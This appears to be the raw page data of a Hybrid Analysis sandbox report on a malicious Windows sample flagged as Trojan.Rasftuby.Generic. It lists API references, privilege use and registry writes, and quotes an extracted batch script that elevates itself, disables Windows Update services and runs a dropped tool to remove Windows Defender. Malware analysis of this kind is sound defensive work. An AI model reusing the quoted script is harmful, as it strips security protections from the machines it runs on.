24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 73:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4c2,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Rasftuby.Generic Sample 2a23d2d93447… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 2a23d2d93447…. Malware family: Trojan.Rasftuby.Generic. Threat score 100/100. 11/27 AV engines flagged this file. 8 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/2a23d2d93447da4e59371726a6680138266c87f7bf4657091630d6b31c7f4a5e","keywords":["Malicious","Trojan.Rasftuby.Generic","malware analysis","sandbox report","threat intelligence","2a23d2d93447da4e59371726a6680138266c87f7bf4657091630d6b31c7f4a5e"],"about":{"@type":"SoftwareApplication","name":"random.exe","applicationCategory":["peexe","executable","compressed","sfx","rar"],"identifier":"2a23d2d93447da4e59371726a6680138266c87f7bf4657091630d6b31c7f4a5e","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Rasftuby.Generic","antivirusDetections":{"malicious":11,"total":27},"behavioralIndicators":{"malicious":8,"suspicious":11},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T9f0,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "2a23d2d93447da4e59371726a6680138266c87f7bf4657091630d6b31c7f4a5e.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "2a23d2d93447da4e59371726a6680138266c87f7bf4657091630d6b31c7f4a5e.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "2a23d2d93447da4e59371726a6680138266c87f7bf4657091630d6b31c7f4a5e.bin") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "2a23d2d93447da4e59371726a6680138266c87f7bf4657091630d6b31c7f4a5e.bin") Found reference to API "WaitForMultipleObjects error %d, GetLastError %d" (Indicator: "WaitForMultipleObjects"; File: "2a23d2d93447da4e59371726a6680138266c87f7bf4657091630d6b31c7f4a5e.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000580.00000000.147890.0138F000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000580.00000000.147890.0138F000.00000002.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00000940.00000000.139024.40017000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00000940.00000000.139024.40017000.00000002.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00000940.00000000.139024.40017000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001752.00000000.149513.0138F000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001752.00000000.149513.0138F000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002460.00000000.150161.0138F000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002460.00000000.150161.0138F000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003516.00000000.140458.00D43000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003516.00000000.140458.00D43000.00000002.mdmp")26:T568,Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "2a23d2d93447da4e59371726a6680138266c87f7bf4657091630d6b31c7f4a5e.bin") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "2a23d2d93447da4e59371726a6680138266c87f7bf4657091630d6b31c7f4a5e.bin") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "2a23d2d93447da4e59371726a6680138266c87f7bf4657091630d6b31c7f4a5e.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "2a23d2d93447da4e59371726a6680138266c87f7bf4657091630d6b31c7f4a5e.bin") Found reference to API "LoadLibraryShim" (Indicator: "LoadLibrary"; Source: "00000000-00000940.00000000.139024.40017000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00000940.00000000.139024.40017000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00000940.00000000.139024.40017000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00000940.00000000.139024.40017000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00003516.00000000.140458.00D43000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00003516.00000000.140458.00D43000.00000002.mdmp")27:T8e1,Found reference to API "ChangeServiceConfig2" (Indicator: "ChangeServiceConfig"; File: "00000000-00006456.00000000.150485.01381000.00000020.mdmp") Found reference to API "ChangeServiceConfig" (Indicator: "ChangeServiceConfig"; File: "00000000-00006456.00000000.150485.01381000.00000020.mdmp") Found reference to API "ChangeServiceConfig2 (delayed autostart flag)" (Indicator: "ChangeServiceConfig"; File: "00000000-00006456.00000000.150485.01381000.00000020.mdmp") Found reference to API "ControlServiceEx" (Indicator: "ControlService"; File: "00000000-00006456.00000000.150485.01381000.00000020.mdmp") Found reference to API "ControlService" (Indicator: "ControlService"; File: "00000000-00006456.00000000.150485.01381000.00000020.mdmp") Found reference to API "ChangeServiceConfigW" (Indicator: "ChangeServiceConfig"; File: "00000000-00006456.00000000.150485.01381000.00000020.mdmp") Found reference to API "ControlServiceExW" (Indicator: "ControlService"; File: "00000000-00006456.00000000.150485.01381000.00000020.mdmp") Found reference to API "ChangeServiceConfig2W" (Indicator: "ChangeServiceConfig"; File: "00000000-00006456.00000000.150485.01381000.00000020.mdmp") Found reference to API "[SC] ChangeServiceConfig SUCCESS" (Indicator: "ChangeServiceConfig"; Source: "00000000-00000580.00000000.147890.00C00000.00000004.mdmp") Found reference to API "ChangeServiceConfigA" (Indicator: "ChangeServiceConfig"; Source: "00000000-00000940.00000000.139024.40017000.00000002.mdmp") Found reference to API "ControlService" (Indicator: "ControlService"; Source: "00000000-00000940.00000000.139024.40017000.00000002.mdmp") Found reference to API "[SC] ChangeServiceConfig SUCCESS" (Indicator: "ChangeServiceConfig"; Source: "00000000-00001492.00000000.149189.01280000.00000004.mdmp") Found reference to API "[SC] ChangeServiceConfig SUCCESS" (Indicator: "ChangeServiceConfig"; Source: "00000000-00001964.00000000.149837.01190000.00000004.mdmp") Found reference to API "ChangeServiceConfig SUCCESS" (Indicator: "ChangeServiceConfig"; Source: "00000000-00003224.00000000.148538.00770000.00000004.mdmp") Found reference to API "[SC] ChangeServiceConfig SUCCESS" (Indicator: "ChangeServiceConfig"; Source: "00000000-00003224.00000000.148538.00770000.00000004.mdmp")28:T118d,"Windows Connect Now" (Indicator: " connect "; Source: "00000000-00003516.00000000.140458.04780000.00000002.mdmp")55:T60a,"192.168.0.2" Potential IPs "2.0.0.1" "2.0.0.20" "24.0.0.1" "24.0.0.22" found in string "2.0.0.1-2.0.0.20, 24.0.0.1-24.0.0.22" Potential IP "127.0.0.1" found in string "The WinRM client cannot process the request. If you do not specify an authentication mechanism or you specify Kerberos, then you cannot use "localhost" or "127.0.0.1" or "[::1]" for the remote host name." Potential IP "157.59.136.1" found in string "e.g. IPv4.Address=157.59.136.1" Potential IP "157.59.136.1" found in string "e.g. IPv4.Address=!(157.59.136.1)" Potential IPs "157.59.136.1" "157.59.136.11" found in string "e.g. IPv4.Address=(157.59.136.1,157.59.136.11)" Potential IP "157.59.136.1" found in string "e.g. IPv4.SourceAddress=157.59.136.1" Potential IP "157.59.136.1" found in string "e.g. IPv4.DestinationAddress=157.59.136.1" Potential IP "157.59.136.1" found in string "IPv4.Address=157.59.136.1'" Potential IP "157.59.136.1" found in string "e.g. 'netsh trace start capture=yes IPv4.SourceAddress=157.59.136.1'" Potential IP "157.59.136.1" found in string "This will capture IPv4 packets only from 157.59.136.1, and it" Potential IP "157.59.136.1" found in string "e.g. 'netsh trace start capture=yes IPv4.SourceAddress=157.59.136.1" Potential IPs "2.0.0.0" "3.0.0.0" found in string "providerFilter=Yes IPv4.Address=(2.0.0.0-3.0.0.0)" Potential IPs "2.0.0.0" "3.0.0.0" found in string "providerFilter=Yes IPv4.SourceAddress=(2.0.0.0,3.0.0.0)" Potential IP "2.0.0.0" found in string "providerFilter=Yes IPv4.DestinationAddress=!(2.0.0.0)"56:Taf9,Pattern match: "http://schemas.microsoft.com/smi/2005/windowssettings" Heuristic match: "w_.pw" Heuristic match: "km.ad" Heuristic match: "}k.tg" Heuristic match: "ea.de" Heuristic match: "tv.se" Heuristic match: "b<.pf" Heuristic match: "m8.wf" Pattern match: "www.nirsoft.netopenif" Heuristic match: "%windir%\syswow64\chcp.com" Heuristic match: "%windir%\syswow64\mode.com" Heuristic match: "%windir%\system32\chcp.com" Heuristic match: "%windir%\system32\mode.com" Heuristic match: "xe;.bat;.cmd;.va" Heuristic match: "as@.as" Pattern match: "https://www.nirsoft.net" Heuristic match: "command.com" Pattern match: "http://nircmd.nirsoft.net/%s.html" Pattern match: "http://nircmd.nirsoft.net" Heuristic match: "pathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.ws" Heuristic match: "vm3dservice.exe vgauthservice.exe vmtoolsd.exe svchost.exe vm3dservice.exe svchost.exe svchost.eu" Heuristic match: "be;.js;.jse;.ws" Heuristic match: "pathext=.cu" Pattern match: "http://schemas.microsoft.com/smi/2011/windowssettings" Pattern match: "http://go.microsoft.com/fwlink/?linkid=247104.&click" Pattern match: "http://go.microsoft.com/fwlink/?linkid=291337%@font-face" Pattern match: "http://go.microsoft.com/fwlink/?linkid=291257" Pattern match: "http://go.microsoft.com/fwlink/?linkid=291257.s" Pattern match: "http://www.w3.org/xml/1998/namespace..the" Pattern match: "http://www.w3.org/2000/xmlns/" Pattern match: "http://www.w3.org/xml/1998/namespace" Pattern match: "http://www.w3.org/1999/xlink.{text" Pattern match: "http://go.microsoft.com/fwlink/?linkid=247104" Pattern match: "go.microsoft.com/fwlink/?linkid=109695&result=block&t=%1&url=%2" Pattern match: "http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/plugin?name=xyz" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/plugin" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/service" Pattern match: "http://[1::2]:80/wsman" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/windows/shell" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd" Heuristic match: "for example, for a target computer name myserver.domain.com, the spn can be one of the following: wsman/myserver.domain.com or wsman/*.domain.com" Pattern match: "http://www.w3.org/2000/svg" Pattern match: "http://go.microsoft.com/fwlink/?linkid=624361" Pattern match: "http://go.microsoft.com/fwlink/?linkid=624359" Pattern match: "http://go.microsoft.com/fwlink/?linkid=624360" Pattern match: "http://www.w3.org/1999/xhtml" Heuristic match: "treenode.textcontent = nulColor 0fset "SCRIPT_RUNNING_FLAG=%TEMP%\script_running_%RANDOM%.tmp"if exist "%SCRIPT_RUNNING_FLAG%" exit /becho.> "%SCRIPT_RUNNING_FLAG%"set "Arch=" & set "ArgNsudo=" & set "MainFolder1=" & set "MainFolder2=" & set "ProcList=" & set "NumberWin="SetLocal EnableDelayedExpansioncd /d "%~dp0saked"set "Arch=x64" & (If "%PROCESSOR_ARCHITECTURE%"=="x86" if not defined PROCESSOR_ARCHITEW6432 set Arch=x86)reg query "HKU\S-1-5-19" >nul 2>&1 || ( nircmd elevate "%~f0" del "%SCRIPT_RUNNING_FLAG%" 2>nul exitif defined WT_SESSION ( reg add "HKCU\Console\%%%%Startup" /v "DelegationConsole" /t REG_SZ /d "{B23D10C0-E52E-411E-9D5B-C09FDF709C7D}" /f >nul reg add "HKCU\Console\%%%%Startup" /v "DelegationTerminal" /t REG_SZ /d "{B23D10C0-E52E-411E-9D5B-C09FDF709C7D}" /f >nulreg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f >nul 2>&1set "Version=15.0"set "DateProgram=28.03.25"Mode 79,49for /f "tokens=4 delims=[] " %%v in ('ver') do set "NumberWin=%%v"reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" | find /i "0x0" >nul 2>&1 && set "ArgNsudo=C" || set "ArgNsudo=E"for /f "skip=3 tokens=1" %%a in ('tasklist') do set "ProcList=!ProcList! %%a "for %%p in (SmartScreen MsMpEng SgrmBroker MsSense NisSrv MpCmdRun MPSigStub SecurityHealthSystray SecurityHealthService SecurityHealthHost MpDefenderCoreService) do (if "!ProcList!"=="!ProcList:%%p.exe =!" (set "%%~pP=0a") else (set "%%~pP=0c"))set "ListWDServ=WinDefend MDCoreSvc WdNisSvc Sense wscsvc SgrmBroker SecurityHealthService webthreatdefsvc webthreatdefusersvc WdNisDrv WdBoot WdFilter SgrmAgent MsSecWfp MsSecFlt MsSecCore"for %%x in (%ListWDServ%) do reg query "HKLM\System\CurrentControlSet\Services\%%~x" >nul 2>&1 && set "%%~x=0c" || set "%%~x=0a"if exist "%AllUsersProfile%\Microsoft\Windows Defender" (set "MainFolder1=04") else (set "MainFolder1=0a")if exist "%SystemDrive%\Program Files\Windows Defender" (set "MainFolder2=04") else (set "MainFolder2=0a")set PathTask=%SystemRoot%\System32\Tasks\Microsoft\Windows\Windows Defenderif not exist "%PathTask%\Windows Defender Cache Maintenance" (set "Maintenance=0a") else (set "Maintenance=0c")if not exist "%PathTask%\Windows Defender Scheduled Scan" (set "Scan=0a") else (set "Scan=0c")if not exist "%PathTask%\Windows Defender Verification" (set "Verification=0a") else (set "Verification=0c")if not exist "%PathTask%\Windows Defender Cleanup" (set "Cleanup=0a") else (set "Cleanup=0c"):StartProcessRemovever | findstr /c:"6.1.7601" >nul 2>&1 && goto :SkipUnlockerreg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName" | find /i "Windows 7" >nul 2>&1 && goto :SkipUnlockerset "a=7"set "b=z" set "c=x"set "d=-aoa"set "e=-bso0"set "f=-bsp1"set "g=same.zip"set "h=stucha"set "i=mika.exe"%a%%b% %c% %d% %e% %f% "%g%" -p"%h%" "%i%" >nul%i% /CurrentDiskSize:StartUnlockerAndSkipBackupfor %%S in (wuauserv dosvc bits UsoSvc WaaSMedicSvc) do ( sc stop %%S >nul 2>&1 sc config %%S start= disabled >nul 2>&1 taskkill /f /im mika.exe >nul 2>&1 start "" /min mika.exe /DelWD echo.> "%DEFENDER_REMOVED_FLAG%"del "%SCRIPT_RUNNING_FLAG%" 2>nulexit /b" (Indicator: ""del ") in Source: wEPTDlwNP.bat67:Tda8,Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "2a23d2d93447da4e59371726a6680138266c87f7bf4657091630d6b31c7f4a5e.bin") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; File: "2a23d2d93447da4e59371726a6680138266c87f7bf4657091630d6b31c7f4a5e.bin") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "2a23d2d93447da4e59371726a6680138266c87f7bf4657091630d6b31c7f4a5e.bin") Found reference to API "SeBackupPrivilege" (Indicator: "SeBackupPrivilege"; File: "00000000-00002104.00000000.139712.00C81000.00000020.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; File: "00000000-00003516.00000000.140458.00D31000.00000020.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00000940.00000000.139024.40017000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00000940.00000000.139024.40017000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00000940.00000000.139024.40017000.00000002.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00000940.00000000.139024.40017000.00000002.mdmp") Found reference to API "SeBackupPrivilege" (Indicator: "SeBackupPrivilege"; Source: "00000000-00002104.00000000.139712.00C81000.00000020.mdmp") Found reference to API "SeImpersonatePrivilege" (Indicator: "SeImpersonatePrivilege"; Source: "00000000-00003324.00000000.140945.00B50000.00000004.mdmp") Found reference to API "SeImpersonatePrivilege" (Indicator: "SeImpersonate"; Source: "00000000-00003324.00000000.140945.00B50000.00000004.mdmp") Found reference to API "SeBackupPrivilege" (Indicator: "SeBackupPrivilege"; Source: "00000000-00003324.00000000.140945.00B50000.00000004.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00003324.00000000.140945.00B50000.00000004.mdmp") Found reference to API "SeLoadDriverPrivilege" (Indicator: "SeLoadDriverPrivilege"; Source: "00000000-00003324.00000000.140945.00B50000.00000004.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00003324.00000000.140945.00B50000.00000004.mdmp") Found reference to API "SeImpersonatePrivilege" (Indicator: "SeImpersonatePrivilege"; Source: "00000000-00003484.00000000.142891.033D0000.00000004.mdmp") Found reference to API "SeImpersonatePrivilege" (Indicator: "SeImpersonate"; Source: "00000000-00003484.00000000.142891.033D0000.00000004.mdmp") Found reference to API "SeBackupPrivilege" (Indicator: "SeBackupPrivilege"; Source: "00000000-00003484.00000000.142891.033D0000.00000004.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00003484.00000000.142891.033D0000.00000004.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00003516.00000000.140458.00D31000.00000020.mdmp, 00000000-00003516.00000000.140458.02EE0000.00000004.mdmp") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00003516.00000000.140458.00D43000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00003516.00000000.140458.00D43000.00000002.mdmp")68:T61b,Found reference to API "SetFileSecurityW" (Indicator: "SetFileSecurityW"; File: "2a23d2d93447da4e59371726a6680138266c87f7bf4657091630d6b31c7f4a5e.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "2a23d2d93447da4e59371726a6680138266c87f7bf4657091630d6b31c7f4a5e.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "2a23d2d93447da4e59371726a6680138266c87f7bf4657091630d6b31c7f4a5e.bin") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "2a23d2d93447da4e59371726a6680138266c87f7bf4657091630d6b31c7f4a5e.bin") Found reference to API "GetSecurityDescriptorControl" (Indicator: "GetSecurityDescriptorControl"; File: "00000000-00006456.00000000.150485.01381000.00000020.mdmp") Found reference to API "GetSecurityDescriptorControl" (Indicator: "GetSecurityDescriptorControl"; Source: "00000000-00000580.00000000.147890.0138F000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; Source: "00000000-00000940.00000000.139024.40017000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; Source: "00000000-00000940.00000000.139024.40017000.00000002.mdmp") Found reference to API "GetSecurityDescriptorControl" (Indicator: "GetSecurityDescriptorControl"; Source: "00000000-00001752.00000000.149513.0138F000.00000002.mdmp") Found reference to API "GetSecurityDescriptorControl" (Indicator: "GetSecurityDescriptorControl"; Source: "00000000-00002460.00000000.150161.0138F000.00000002.mdmp")69:T508,Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "2a23d2d93447da4e59371726a6680138266c87f7bf4657091630d6b31c7f4a5e.bin") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "2a23d2d93447da4e59371726a6680138266c87f7bf4657091630d6b31c7f4a5e.bin") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "2a23d2d93447da4e59371726a6680138266c87f7bf4657091630d6b31c7f4a5e.bin") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00000580.00000000.147890.0138F000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00000940.00000000.139024.40017000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00001752.00000000.149513.0138F000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00002460.00000000.150161.0138F000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00003516.00000000.140458.00D43000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003516.00000000.140458.00D43000.00000002.mdmp")6a:Tf71,Found reference to API "SeSecurityPrivilege" (Indicator: "SeSecurityPrivilege"; File: "2a23d2d93447da4e59371726a6680138266c87f7bf4657091630d6b31c7f4a5e.bin") Found reference to API "SeRestorePrivilege" (Indicator: "SeRestorePrivilege"; File: "2a23d2d93447da4e59371726a6680138266c87f7bf4657091630d6b31c7f4a5e.bin") Found reference to API "SeCreateSymbolicLinkPrivilege" (Indicator: "SeCreateSymbolicLinkPrivilege"; File: "2a23d2d93447da4e59371726a6680138266c87f7bf4657091630d6b31c7f4a5e.bin") Found reference to API "SeLockMemoryPrivilege" (Indicator: "SeLockMemoryPrivilege"; File: "00000000-00006268.00000000.146521.00BF1000.00000020.mdmp") Found reference to API "SeTcbPrivilege" (Indicator: "SeTcbPrivilege"; Source: "00000000-00000940.00000000.139024.40017000.00000002.mdmp") Found reference to API "SeRestorePrivilege" (Indicator: "SeRestorePrivilege"; Source: "00000000-00002104.00000000.139712.00C81000.00000020.mdmp") Found reference to API "SeRestorePrivilege" (Indicator: "SeRestorePrivilege"; Source: "00000000-00003324.00000000.140945.00B50000.00000004.mdmp") Found reference to API "SeChangeNotifyPrivilege" (Indicator: "SeChangeNotifyPrivilege"; Source: "00000000-00003324.00000000.140945.00B50000.00000004.mdmp") Found reference to API "SeSecurityPrivilege" (Indicator: "SeSecurityPrivilege"; Source: "00000000-00003324.00000000.140945.00B50000.00000004.mdmp") Found reference to API "SeIncreaseQuotaPrivilege" (Indicator: "SeIncreaseQuotaPrivilege"; Source: "00000000-00003324.00000000.140945.00B50000.00000004.mdmp") Found reference to API "SeAssignPrimaryTokenPrivilege" (Indicator: "SeAssignPrimaryTokenPrivilege"; Source: "00000000-00003324.00000000.140945.00B50000.00000004.mdmp") Found reference to API "SeTcbPrivilege" (Indicator: "SeTcbPrivilege"; Source: "00000000-00003324.00000000.140945.00B50000.00000004.mdmp") Found reference to API "SeIncreaseBasePriorityPrivilege" (Indicator: "SeIncreaseBasePriorityPrivilege"; Source: "00000000-00003324.00000000.140945.00B50000.00000004.mdmp") Found reference to API "SeSystemEnvironmentPrivilege" (Indicator: "SeSystemEnvironmentPrivilege"; Source: "00000000-00003324.00000000.140945.00B50000.00000004.mdmp") Found reference to API "SeTakeOwnershipPrivilege" (Indicator: "SeTakeOwnershipPrivilege"; Source: "00000000-00003324.00000000.140945.00B50000.00000004.mdmp") Found reference to API "SeRestorePrivilege" (Indicator: "SeRestorePrivilege"; Source: "00000000-00003484.00000000.142891.033D0000.00000004.mdmp") Found reference to API "SeChangeNotifyPrivilege" (Indicator: "SeChangeNotifyPrivilege"; Source: "00000000-00003484.00000000.142891.033D0000.00000004.mdmp") Found reference to API "SeSecurityPrivilege" (Indicator: "SeSecurityPrivilege"; Source: "00000000-00003484.00000000.142891.033D0000.00000004.mdmp") Found reference to API "SeAssignPrimaryTokenPrivilege" (Indicator: "SeAssignPrimaryTokenPrivilege"; Source: "00000000-00003484.00000000.142891.033D0000.00000004.mdmp") Found reference to API "SeTcbPrivilege" (Indicator: "SeTcbPrivilege"; Source: "00000000-00003484.00000000.142891.033D0000.00000004.mdmp") Found reference to API "SeSystemEnvironmentPrivilege" (Indicator: "SeSystemEnvironmentPrivilege"; Source: "00000000-00003484.00000000.142891.033D0000.00000004.mdmp") Found reference to API "SeSecurityPrivilege" (Indicator: "SeSecurityPrivilege"; Source: "00000000-00006268.00000000.146521.00610000.00000004.mdmp, 00000000-00006268.00000000.146521.00CA1000.00000002.mdmp") Found reference to API "SeLockMemoryPrivilege" (Indicator: "SeLockMemoryPrivilege"; Source: "00000000-00006268.00000000.146521.00CA1000.00000002.mdmp") Found reference to API "SeCreateSymbolicLinkPrivilege" (Indicator: "SeCreateSymbolicLinkPrivilege"; Source: "00000000-00006268.00000000.146521.00CA1000.00000002.mdmp") Found reference to API "SeRestorePrivilege" (Indicator: "SeRestorePrivilege"; Source: "00000000-00006268.00000000.146521.00CA1000.00000002.mdmp")6b:T4e5,"cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\CMD.EXE"; Value: "wUY") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\CMD.EXE"; Value: "A240D0D323BEDC010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\CMD.EXE"; Value: "5CF71C0924BEDC010000000000000000000000000200000000") "mika.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "D3171C1224BEDC010000000000000000000000000200000000") "mika.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "0F78A81524BEDC010000000000000000000000000200000000")6c:Tb20,"